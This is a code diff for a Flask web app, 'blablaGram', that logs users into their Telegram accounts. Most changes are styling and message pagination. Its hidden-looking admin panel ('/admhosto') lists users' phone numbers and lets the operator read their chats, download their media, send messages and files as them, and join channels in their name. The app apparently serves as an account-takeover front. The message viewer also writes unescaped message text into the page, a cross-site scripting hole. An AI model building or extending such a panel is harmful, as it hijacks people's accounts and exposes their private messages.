             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Uploading file...</p>' + messagesContainer.innerHTML;
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
 
             const response = await fetch('/api/send_file', {
                 method: 'POST',
@@ -586,7 +528,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                await fetchMessages(currentChatId); 
+                await fetchMessages(currentChatId, false);
             } else {
                 alert('Failed to send file: ' + result.message);
             }
@@ -641,42 +583,27 @@ ADMHOSTO_TEMPLATE = '''
     <title>blablaGram - Admin Panel</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        :root {
-            --primary-blue: #2AABEE;
-            --secondary-blue: #1C91D0;
-            --background-light: #F0F2F5;
-            --background-card: #FFFFFF;
-            --border-light: #E0E0E0;
-            --text-dark: #333;
-            --text-medium: #666;
-            --text-light: #888;
-            --button-secondary: #6C757D;
-            --button-secondary-hover: #5A6268;
-        }
-        body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; }
-        .container { max-width: 900px; margin: auto; background: var(--background-card); padding: 30px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
-        h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
-        h1 { font-size: 2.5em; }
-        h2 { font-size: 1.8em; }
-        table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 12px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
-        th, td { padding: 18px; border: 1px solid var(--border-light); text-align: left; }
-        th { background: #F8F8F8; color: var(--text-medium); font-weight: 600; font-size: 0.95em; }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
+        .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
+        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 30px; font-weight: 700; letter-spacing: -0.5px; }
+        table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
+        th, td { padding: 18px; border: 1px solid #E0E0E0; text-align: left; }
+        th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 1em; }
         tr:nth-child(even) { background: #FDFDFD; }
         tr:hover { background: #E6F3FC; }
-        a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
+        a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
         a:hover { text-decoration: underline; }
-        .back-button { margin-top: 30px; text-align: center; }
-        .back-button a { display: inline-block; padding: 12px 25px; background: var(--button-secondary); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        .back-button a:hover { background: var(--button-secondary-hover); text-decoration: none; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(0,0,0,0.15); }
-        .back-button a:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+        .back-button { margin-top: 40px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
+        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
         @media (max-width: 768px) {
             body { padding: 15px; }
-            .container { padding: 25px 15px; border-radius: 10px; }
-            h1 { font-size: 2em; margin-bottom: 20px; }
-            h2 { font-size: 1.5em; }
-            table { font-size: 0.9em; }
-            th, td { padding: 12px; }
-            .back-button a { padding: 10px 20px; font-size: 0.9em; }
+            .container { padding: 25px; }
+            table, th, td { display: block; width: 100%; }
+            thead { display: none; }
+            tr { margin-bottom: 15px; border: 1px solid #E0E0E0; border-radius: 10px; overflow: hidden; }
+            td { text-align: right; padding-left: 50%; position: relative; }
+            td::before { content: attr(data-label); position: absolute; left: 0; width: 45%; padding-left: 15px; font-weight: 600; text-align: left; }
         }
     </style>
 </head>
@@ -691,11 +618,11 @@ ADMHOSTO_TEMPLATE = '''
             <tbody>
                 {% for user in users %}
                 <tr>
-                    <td>{{ user[0] }}</td>
-                    <td>{{ user[1] }}</td>
-                    <td>{{ user[2] }}</td>
-                    <td>{{ user[3] }}</td>
-                    <td>
+                    <td data-label="ID">{{ user[0] }}</td>
+                    <td data-label="Telegram ID">{{ user[1] }}</td>
+                    <td data-label="Username">{{ user[2] }}</td>
+                    <td data-label="Phone">{{ user[3] }}</td>
+                    <td data-label="Actions">
                         <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
                     </td>
                 </tr>
@@ -719,79 +646,56 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
     <title>Manage: {{ user.username or user.phone }}</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        :root {
-            --primary-blue: #2AABEE;
-            --secondary-blue: #1C91D0;
-            --background-light: #F0F2F5;
-            --background-card: #FFFFFF;
-            --border-light: #E0E0E0;
-            --text-dark: #333;
-            --text-medium: #666;
-            --text-light: #888;
-            --msg-sent-bg: #DCF8C6;
-            --msg-received-bg: #F1F0F0;
-            --button-secondary: #6C757D;
-            --button-secondary-hover: #5A6268;
-            --button-success: #28A745;
-            --button-success-hover: #218838;
-        }
-        body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; }
-        .container { max-width: 1300px; margin: auto; background: var(--background-card); padding: 30px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
-        h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; }
-        h1 { font-size: 2.5em; }
-        h2 { font-size: 1.5em; }
-        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; }
-        .split-panel { display: flex; gap: 25px; margin-top: 25px; }
-        .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 10px rgba(0,0,0,0.03); }
-        .split-panel > div h2 { text-align: left; margin-top: 0; font-size: 1.3em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }
-        input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        textarea { resize: vertical; min-height: 80px; }
-        button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
-        button:hover { background: var(--secondary-blue); transform: translateY(-1px); box-shadow: 0 6px 12px rgba(42, 171, 238, 0.3); }
-        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
-        button.success-btn { background: var(--button-success); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }
-        button.success-btn:hover { background: var(--button-success-hover); box-shadow: 0 6px 12px rgba(40, 167, 69, 0.3); }
-        .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; }
-        .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
+        .container { max-width: 1300px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
+        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
+        .user-info { text-align: center; margin-bottom: 35px; font-size: 1.15em; color: #666; font-weight: 500; }
+        .split-panel { display: flex; gap: 30px; margin-top: 30px; flex-wrap: wrap; }
+        .split-panel > div { flex: 1; min-width: 300px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
+        h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left; }
+        input[type="text"], textarea { width: calc(100% - 24px); padding: 14px; margin: 10px 0; border: 1px solid #DDD; border-radius: 10px; background: #FFF; font-size: 1em; transition: border-color 0.3s, box-shadow 0.3s; }
+        input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
+        textarea { resize: vertical; min-height: 90px; }
+        button { background: #2AABEE; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: bold; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 3px 8px rgba(0,0,0,0.1); }
+        button:hover { background: #1C91D0; transform: translateY(-1px); }
+        button:active { transform: translateY(0); }
+        button.green-btn { background: #28A745; }
+        button.green-btn:hover { background: #218838; }
+        .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 10px; background: #FFF; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
+        .chat-item { padding: 16px 20px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
         .chat-item:hover, .chat-item.active { background: #E6F3FC; }
         .chat-item:last-child { border-bottom: none; }
-        .chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }
-        .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }
-        .message-viewer { margin-top: 25px; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 10px rgba(0,0,0,0.03); }
-        .message-viewer h2 { text-align: left; }
-        .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
-        .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
-        .message-item.sent { background: var(--msg-sent-bg); align-self: flex-end; }
-        .message-item.received { background: var(--msg-received-bg); align-self: flex-start; }
-        .message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: var(--text-dark); }
-        .message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; }
-        .media-link, .media-preview { display: block; margin-top: 5px; border-radius: 8px; overflow: hidden;}
-        .media-link { color: var(--primary-blue); text-decoration: none; }
-        .media-preview img, .media-preview video { max-width: 100%; height: auto; display: block; }
-        .back-button { margin-top: 30px; text-align: center; }
-        .back-button a { display: inline-block; padding: 12px 25px; background: var(--button-secondary); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        .back-button a:hover { background: var(--button-secondary-hover); text-decoration: none; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(0,0,0,0.15); }
-        .back-button a:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .clear-chat-selection { text-align: center; margin-top: 15px; }
-        .clear-chat-selection button { background: var(--button-secondary); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        .clear-chat-selection button:hover { background: var(--button-secondary-hover); }
-        .load-more-btn { background: var(--button-secondary); color: white; padding: 8px 15px; border: none; border-radius: 6px; cursor: pointer; margin: 10px auto; display: block; transition: background 0.2s; }
-        .load-more-btn:hover { background: var(--button-secondary-hover); }
+        .chat-item h3 { margin: 0; font-size: 1.1em; color: #1C1C1C; font-weight: 600; }
+        .chat-item p { margin: 6px 0 0; font-size: 0.9em; color: #666; }
+        .message-viewer { margin-top: 35px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
+        .messages-container { max-height: 550px; overflow-y: auto; padding: 20px; border: 1px solid #DDD; border-radius: 10px; background: #FFF; margin-top: 20px; display: flex; flex-direction: column-reverse; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
+        .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
+        .load-more-button:hover { background: #5A6268; }
+        .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
+        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
+        .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
+        .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
+        .message-text { color: #111; }
+        .message-meta { font-size: 0.75em; color: #999; margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; }
+        .media-link:hover { text-decoration: underline; }
+        .back-button { margin-top: 40px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
+        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
+        .clear-chat-selection { text-align: center; margin-top: 20px; }
+        .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 1em; }
+        .clear-chat-selection button:hover { background: #5A6268; }
 
         @media (max-width: 768px) {
             body { padding: 15px; }
-            .container { padding: 25px 15px; border-radius: 10px; }
-            h1 { font-size: 2em; margin-bottom: 20px; }
-            h2 { font-size: 1.5em; }
+            .container { padding: 25px; }
             .split-panel { flex-direction: column; gap: 20px; }
-            .split-panel > div { padding: 20px; border-radius: 10px; }
-            input[type="text"], textarea { padding: 10px; font-size: 0.9em; }
-            button { padding: 10px 18px; font-size: 0.95em; margin-top: 10px; }
-            .chat-list { max-height: 300px; }
-            .message-item { max-width: 90%; }
-            .back-button a { padding: 10px 20px; font-size: 0.9em; }
+            .split-panel > div { min-width: unset; padding: 20px; }
+            h1, h2 { margin-bottom: 20px; }
+            .user-info { margin-bottom: 25px; font-size: 1em; }
+            .chat-list, .messages-container { max-height: 350px; }
+            input[type="text"], textarea, button { padding: 12px; font-size: 0.95em; }
+            button { margin-top: 15px; }
         }
     </style>
 </head>
@@ -807,9 +711,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
                 <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
                 <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
                 <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
-                <button onclick="document.getElementById('sendFileInput').click()" class="success-btn">Send File</button>
+                <button onclick="document.getElementById('sendFileInput').click()" class="green-btn">Send File</button>
 
-                <h2 style="margin-top: 30px;">Join Chat</h2>
+                <h2 style="margin-top: 35px;">Join Chat</h2>
                 <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
                 <button onclick="joinChat({{ user.id }})">Join Chat</button>
             </div>
@@ -823,7 +727,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
                             <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
                         </div>
                     {% else %}
-                        <p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>
+                        <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
                     {% endfor %}
                 </div>
                  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -833,124 +737,100 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
         <div class="message-viewer" id="messageViewer" style="display:none;">
             <h2 id="messagesChatTitle"></h2>
             <div class="messages-container" id="messagesContainer">
-                 <button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>
+                 <button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin({{ user.id }})">Load Older Messages</button>
             </div>
         </div>
 
         <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
     </div>
     <script>
-        let currentUserId = {{ user.id }};
-        let currentChatId = null;
-        let lastMessageId = null;
-        let hasMoreMessages = true;
+        let oldestMessageIdAdmin = null;
+        const messagesPerPageAdmin = {{ MESSAGES_PER_PAGE }};
 
         function clearChatSelection() {
             document.getElementById('messageViewer').style.display = 'none';
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
-            currentChatId = null;
-            lastMessageId = null;
-            hasMoreMessages = true;
+            oldestMessageIdAdmin = null;
         }
 
-        function displayMessages(messages, prepend = false) {
-            const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreBtn');
-
-            messages.forEach(msg => {
-                const messageItem = document.createElement('div');
-                messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
-                let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
-                
-                let mediaHtml = '';
-                if (msg.file_name) {
-                    if (msg.file_type && msg.file_type.startsWith('image')) {
-                        mediaHtml = `<div class="media-preview"><img src="/download/${msg.file_name}" alt="Image"></div>`;
-                    } else if (msg.file_type && msg.file_type.startsWith('video')) {
-                        mediaHtml = `<div class="media-preview"><video controls src="/download/${msg.file_name}"></video></div>`;
-                    } else {
-                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
-                    }
-                }
-
-                let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
-                let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
-                let metaHtml = `<div class="message-meta">${msg.date}</div>`;
-
-                messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
-                
-                if (prepend) {
-                    messagesContainer.insertBefore(messageItem, loadMoreBtn.nextSibling);
-                } else {
-                    messagesContainer.prepend(messageItem);
-                }
-            });
+        async function selectChat(userId, chatId, chatTitle) {
+            document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
+            document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
-            if (prepend) {
-                messagesContainer.scrollTop = messagesContainer.scrollHeight - messagesContainer._prevScrollHeight;
-            } else {
-                messagesContainer.scrollTop = messagesContainer.scrollHeight;
-            }
+            document.getElementById('messageViewer').style.display = 'block';
+            document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
+            oldestMessageIdAdmin = null; // Reset oldest message ID for new chat
+            await fetchMessagesAdmin(userId, chatId, false);
         }
 
-        async function fetchMessages(userId, chatId, offsetId = null, limit = 30) {
+        async function fetchMessagesAdmin(userId, chatId, isLoadMore) {
             const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreBtn');
-            loadMoreBtn.classList.add('hidden'); 
+            const loadMoreBtn = document.getElementById('loadMoreMessagesAdmin');
 
-            let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${limit}`;
-            if (offsetId) {
-                url += `&offset_id=${offsetId}`;
+            if (!isLoadMore) {
+                messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
+                oldestMessageIdAdmin = null;
+                loadMoreBtn.style.display = 'none';
             } else {
-                messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button><p style="text-align: center; color: var(--text-medium);">Loading...</p>';
+                loadMoreBtn.textContent = 'Loading...';
+                loadMoreBtn.disabled = true;
+            }
+
+            let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${messagesPerPageAdmin}`;
+            if (oldestMessageIdAdmin) {
+                url += `&max_id=${oldestMessageIdAdmin}`;
             }
 
             const response = await fetch(url);
             const result = await response.json();
-            
-            if (!offsetId) { messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>'; }
+
+            if (!isLoadMore) {
+                messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button>';
+            }
 
             if (result.success && result.messages) {
-                const prevScrollHeight = messagesContainer.scrollHeight;
-                messagesContainer._prevScrollHeight = prevScrollHeight; 
+                result.messages.reverse().forEach(msg => {
+                    const messageItem = document.createElement('div');
+                    messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
+                    let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
+                    let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
+                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
+                    let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
+
+                    messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
+                    messagesContainer.appendChild(messageItem);
+                });
 
-                displayMessages(result.messages.reverse(), offsetId !== null);
-                
                 if (result.messages.length > 0) {
-                    lastMessageId = result.messages[0].id;
+                    oldestMessageIdAdmin = result.messages[0].id;
                 }
-                hasMoreMessages = result.has_more;
-
-                if (hasMoreMessages) {
-                    document.getElementById('loadMoreBtn').classList.remove('hidden');
+                
+                if (result.messages.length < messagesPerPageAdmin || !result.has_more) {
+                    loadMoreBtn.style.display = 'none';
                 } else {
-                    document.getElementById('loadMoreBtn').classList.add('hidden');
+                    loadMoreBtn.style.display = 'block';
+                    loadMoreBtn.textContent = 'Load Older Messages';
+                    loadMoreBtn.disabled = false;
                 }
+
+                if (!isLoadMore) {
+                    messagesContainer.scrollTop = messagesContainer.scrollHeight;
+                }
+
             } else {
-                if (!offsetId) messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
+                messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                loadMoreBtn.style.display = 'none';
             }
         }
 
-        async function loadMoreMessages() {
-            if (currentUserId && currentChatId && lastMessageId && hasMoreMessages) {
-                await fetchMessages(currentUserId, currentChatId, lastMessageId);
+        function loadMoreMessagesAdmin(userId) {
+            const selectedChatId = document.querySelector('.chat-item.active')?.dataset.id;
+            if (userId && selectedChatId && oldestMessageIdAdmin) {
+                fetchMessagesAdmin(userId, selectedChatId, true);
             }
         }
 
-        async function selectChat(userId, chatId, chatTitle) {
-            currentChatId = chatId;
-            lastMessageId = null;
-            hasMoreMessages = true;
-
-            document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
-            document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
-
-            document.getElementById('messageViewer').style.display = 'block';
-            document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
-            
-            await fetchMessages(userId, chatId);
-        }
-
         async function sendMessage(userId) {
             const chatId = document.getElementById('sendMessageRecipient').value;
             const message = document.getElementById('sendMessageContent').value;
@@ -1130,7 +1010,7 @@ def api_logout():
 def blabla_gram_app():
     if 'user_id' not in session:
         return redirect(url_for('index'))
-    return render_template_string(BLABLAGRAM_APP_TEMPLATE)
+    return render_template_string(BLABLAGRAM_APP_TEMPLATE, MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
 
 @app.route('/api/user_chats')
 def api_user_chats():
@@ -1194,31 +1074,31 @@ def api_get_chat_messages(peer_id):
     user_id = session.get('user_id')
     if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
-    limit = request.args.get('limit', 30, type=int)
-    offset_id = request.args.get('offset_id', None, type=int)
+    limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
+    max_id = request.args.get('max_id')
+    if max_id:
+        max_id = int(max_id)
 
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error: return None, error, False
+        if error: return None, error
 
         messages = []
+        has_more = True
         try:
             entity = await client.get_entity(peer_id)
-            fetched_messages = await client.get_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=True) 
-            
-            has_more = len(fetched_messages) > limit
-            messages_to_process = fetched_messages[:-1] if has_more else fetched_messages
-
-            for message in messages_to_process:
+            fetched_count = 0
+            async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
+                if fetched_count >= limit:
+                    has_more = True
+                    break
+                
                 msg_data = {
                     'id': message.id,
                     'text': message.text,
                     'date': message.date.strftime("%b %d, %H:%M"),
                     'is_sent': message.out,
-                    'sender_name': 'Unknown',
-                    'file_name': None,
-                    'file_size': None,
-                    'file_type': None
+                    'sender_name': 'Unknown'
                 }
                 if message.sender:
                     if isinstance(message.sender, User):
@@ -1229,51 +1109,39 @@ def api_get_chat_messages(peer_id):
                         msg_data['sender_name'] = str(message.sender.id)
 
                 if message.media:
-                    download_succeeded = False
-                    temp_file_name = None
-                    temp_file_size = None
-                    temp_file_type = None
                     try:
-                        file_ext = ''
-                        file_mime = ''
-                        if isinstance(message.media, MessageMediaPhoto):
-                            file_ext = '.jpg'
-                            file_mime = 'image/jpeg'
-                        elif isinstance(message.media, MessageMediaDocument) and hasattr(message.media.document, 'mime_type'):
-                            file_mime = message.media.document.mime_type
-                            if file_mime.startswith('image/'):
-                                file_ext = '.' + file_mime.split('/')[-1]
-                            elif file_mime.startswith('video/'):
-                                file_ext = '.' + file_mime.split('/')[-1]
-                            else:
-                                file_ext = '.file'
+                        file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
+                        if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
+                            for attr in message.media.document.attributes:
+                                if hasattr(attr, 'file_name'):
+                                    file_name = attr.file_name
+                                    break
+                        elif hasattr(message.media, 'photo'):
+                             file_name = f"photo_{message.id}.jpg"
                         
-                        file_name_base = getattr(message.media, 'file_name', f"msg_{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}")
-                        if not file_ext and '.' in file_name_base:
-                            file_ext = '.' + file_name_base.split('.')[-1]
-                        if not file_ext:
-                            file_ext = '.bin' 
+                        full_download_path = Path(DOWNLOAD_DIR) / file_name
+                        if not full_download_path.exists(): # Only download if not exists
+                            file_info = await client.download_media(message, file=full_download_path)
+                            if file_info:
+                                file_path = Path(file_info)
+                                msg_data['file_name'] = file_path.name
+                                file_size = os.path.getsize(file_path)
+                                msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
+                            else:
+                                msg_data['file_name'] = "File not available"
+                        else:
+                            msg_data['file_name'] = full_download_path.name
+                            file_size = os.path.getsize(full_download_path)
+                            msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
 
-                        unique_filename = f"{file_name_base.replace(' ', '_')}{file_ext}"
-                        
-                        download_path = Path(DOWNLOAD_DIR) / unique_filename
-                        file_info = await client.download_media(message, file=download_path)
-
-                        if file_info:
-                            file_path = Path(file_info)
-                            temp_file_name = file_path.name
-                            file_size_bytes = os.path.getsize(file_path)
-                            temp_file_size = f"{file_size_bytes / (1024*1024):.2f} MB" if file_size_bytes >= 1024*1024 else f"{file_size_bytes/1024:.1f} KB" if file_size_bytes >= 1024 else f"{file_size_bytes} Bytes"
-                            temp_file_type = file_mime
-                            download_succeeded = True
                     except Exception as media_e:
-                        print(f"Error downloading media for message {message.id}: {media_e}")
-                    
-                    if download_succeeded:
-                        msg_data['file_name'] = temp_file_name
-                        msg_data['file_size'] = temp_file_size
-                        msg_data['file_type'] = temp_file_type
+                        msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
+                fetched_count += 1
+            
+            if fetched_count <= limit: # If we fetched <= limit, it means there are no more messages (or exactly limit, but no +1)
+                has_more = False
+
         except Exception as e:
             return None, str(e), False
         finally:
@@ -1374,7 +1242,7 @@ def api_join_chat():
 
 @app.route('/download/<path:filename>')
 def download_file(filename):
-    return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False)
